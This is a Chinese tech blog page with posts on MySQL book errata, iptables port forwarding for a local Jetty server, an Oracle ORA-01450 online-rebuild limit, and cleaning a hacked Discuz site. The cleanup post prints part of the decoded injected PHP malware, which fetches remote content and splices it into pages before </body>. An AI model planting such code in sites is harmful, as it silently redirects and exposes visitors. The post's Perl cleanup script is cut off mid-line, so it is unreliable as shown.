《高性能MySQL》第三版勘误表

《高性能MySQL》第三本勘误表,欢迎各位反馈书中的问题,我们将尽量在再次印刷的时候修正这些问题,谢谢大家。
购买链接: Amazon 京东 当当

1. 译者序vi 倒数第2段第3行
其中,我负责前、推荐序和第1、2、3章 修改为 其中,我负责前言、推荐序和第1、2、3章

注:2013年5月第二次印刷已经订正

2. P57第7行
rdnwr 修改为 rndwr

注:2013年5月第二次印刷已经订正

3. P227第4行(感谢@半个馒头大师指正)
我们希望返回所有包含同一个演员参演的电影 修改为 我们希望返回所有有演员参演的电影

注:2013年7月第三次印刷已经订正

4. P227第12行(感谢@半个馒头大师指正)
很容易表达“包含同一个参演演员“的逻辑 修改为 很容易表达“有演员参演“的逻辑

注:2013年7月第三次印刷已经订正

5. P422第3行(感谢@hongbin119指正)
noop调度适合没有自己的调度算法的设备 修改为 noop调度适合那些自己在背后实现了调度算法的设备

注:2013年7月第三次印刷已经订正

Linux上eclipse本地跑web应用绑定80端口的问题

因为要在本地跑一个web application,使用eclipse的HSF Jetty插件绑定80端口不成功,8080端口则没有问题:

2012-09-17 11:36:43.470:WARN::failed SelectChannelConnector@0.0.0.0:80: java.net.SocketException: 权限不够
2012-09-17 11:36:43.473:WARN::failed Server@327ac9a7: java.net.SocketException: 权限不够
java.net.SocketException: 权限不够

1. 猜想有其他进程已经占用了80端口

$ sudo netstat -anpt | grep LISTEN

结果80端口是available的

2. Linux的问题?

好吧,想起来了,Linux下只有root用户才能绑定使用1024以下的端口。尝试用sudo eclipse启动IDE,然后编译,发现maven的本地库有些问题,偷个懒把原用户的本地库复制一份后正常

$cd /home/ningoo/.m2
$cp -r * /root/.m2

3. iptables神器

虽然sudo大法有效,感觉还是不太爽。于是神器iptables出场,设置将80端口转发到8080端口,这样eclipse中的jetty插件还是可以绑定在8080端口,/etc/hosts绑定本地到日常的域名也可以通过80端口自动转发,方便。

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A OUTPUT -p tcp -d 127.0.0.1 --dport 80 -j REDIRECT --to-ports 8080

如果不需要转发了,通过以下命令清除设置

iptables -t nat -F PREROUTING
iptables -t nat -F OUTPUT

如果要保存iptables设置以便重启后生效,可以参考这里

用perl清理被注入代码的PHP文件

周末在准备澳大利亚的行程,想起半年前申请了一个Welvxing.com的域名,并且也用Discuz X2搭了个论坛(We旅行),不过一直荒废在那里。趁周末搜集资料时简单的折腾了一下,正好用来记录分享行程攻略。一直用的Chrome也没觉得有什么异常,偶尔用IE打开的时候发现会自动跳转到一个莫名其妙的网站。一想坏了,可能被注入代码了,一看PHP源文件,果然在第一行被注入了一段base64加密过的代码(本来想将代码贴进来,不过Dreamhost不让这么干,一直报503错误,只好作罢)。

解码以后的代码为:


if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])){ $_SERVER['mr_no']=1; if(!function_exists('mrobh')){ function get_tds_777($url{$content="";$content=@trycurl_777($url);
...此处省略若干行
function mrobh($content){ @Header('Content-Encoding: none'); $decoded_content=gzdecodeit($content); if(preg_match('/\<\/body/si',$decoded_content)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml_777()."\n".'$1',$decoded_content); }else{ return $decoded_content.gml_777(); } } ob_start('mrobh'); } }

头疼的时,几乎所有的PHP文件都受影响了,2000个多啊,手工改还不要了亲命了。好在有Perl帮忙,遍历所有子目录的文件也不需要写递归,简单几行代码就可以搞定了:


#!/usr/bin/perl
use File::Find;

sub clean_file {
my $file = shift;
my $tmp = $file.".tmp";

print "clean file $file ...\n";
open(FILE, $file) or die "can not open $file\n";
open(TMP, ">$tmp") or die "can not open $tmp\n";
while(){
my $line = $_;
$line =~ s/^.*aWYoZnVuY3Rpb25fZXhpc.*$/

注:清理之前注意备份现场,要是脚本有点小问题,到时候就追悔莫及了^_^

偶遇ORA-01450

这几天在测试环境部署一个适合多种操作系统多种数据库多实例的监控脚本的时候,在一台测试库上监控到一个索引失效,于是根据提示尝试online rebuild

alter index NINGOO.IDX_TEST_KPI_NAME rebuild online compute statistics;  

SQL> alter index NINGOO.IDX_TEST_KPI_NAME rebuild online compute statistics; 
alter index NINGOO.IDX_TEST_KPI_NAME rebuild online compute statistics
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-01450: maximum key length (3215) exceeded

看了下索引是创建在一个varchar2(4000)的列上的:

SQL>  select table_name,column_name,column_length from all_ind_columns where index_name='IDX_TEST_KPI_NAME';

TABLE_NAME      COLUMN_NAME            COLUMN_LENGTH
--------------- ---------------------- -------------
TEST            KPI_NAME               4000

我们知道一个index key不能跨多个block,所以key的长度有限制的。但是索引既然创建成功,这个要求肯定是满足的。实际测试下,对于8K的block,这个限制应该是6398字节。

SQL>  create table test1(a varchar2(4000),b varchar2(4000));
Table created.

SQL> create index ix_test1 on test1(a,b);
create index ix_test1 on test1(a,b)
                         *
ERROR at line 1:
ORA-01450: maximum key length (6398) exceeded

那为什么4000字节的key在online rebuild的时候会有问题呢?而创建和正常rebuild操作都是正常的。

SQL>  create index ix_test1 on test1(a);
Index created.

SQL> alter index ix_test1 rebuild online;
alter index ix_test1 rebuild online
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-01450: maximum key length (3215) exceeded

SQL> alter index ix_test1 rebuild;
Index altered.

原因在于IOT表的一些限制,我们可以创建一个IOT表验证一下:

SQL> create table test_iot1(a varchar2(4000),b varchar2(4000),
  2               constraint iot1_pk primary key(a,b))
  3                organization index;
create table test_iot1(a varchar2(4000),b varchar2(4000),
*
ERROR at line 1:
ORA-01450: maximum key length (3215) exceeded

Online rebuild的过程中需要创建一个临时的IOT表,所以online rebuild的index 的key的长度限制就被大大缩短了。这一点在我们设计系统的索引的时候要特别注意,如果前期设计的索引超过了IOT index key的长度限制,则后期的维护成本会更高,因为无法online rebuild,则rebuild的时候就会锁表导致业务受到较长时间的中断。

当然,实际业务场景中,在varchar2(4000)列上创建索引并不常见,如果真的需要,也可以考虑只创建部分前缀的函数索引,但这需要业务的SQL也做相应修改,这一点上,PostgreSQL直接支持的前缀索引就要灵活得多。

SQL> create index ix_test1_2 on test1(substr(a,1,100));
Index created.

SQL> alter index ix_test1_2 rebuild online;
Index altered.

对于这个问题,旺旺同学和Jonathan Lewis同学很早就有描述,只是没碰到一般很少碰到key这么长的索引而不容易注意到,再次记录下备忘。

无觅相关文章插件,快速提升流量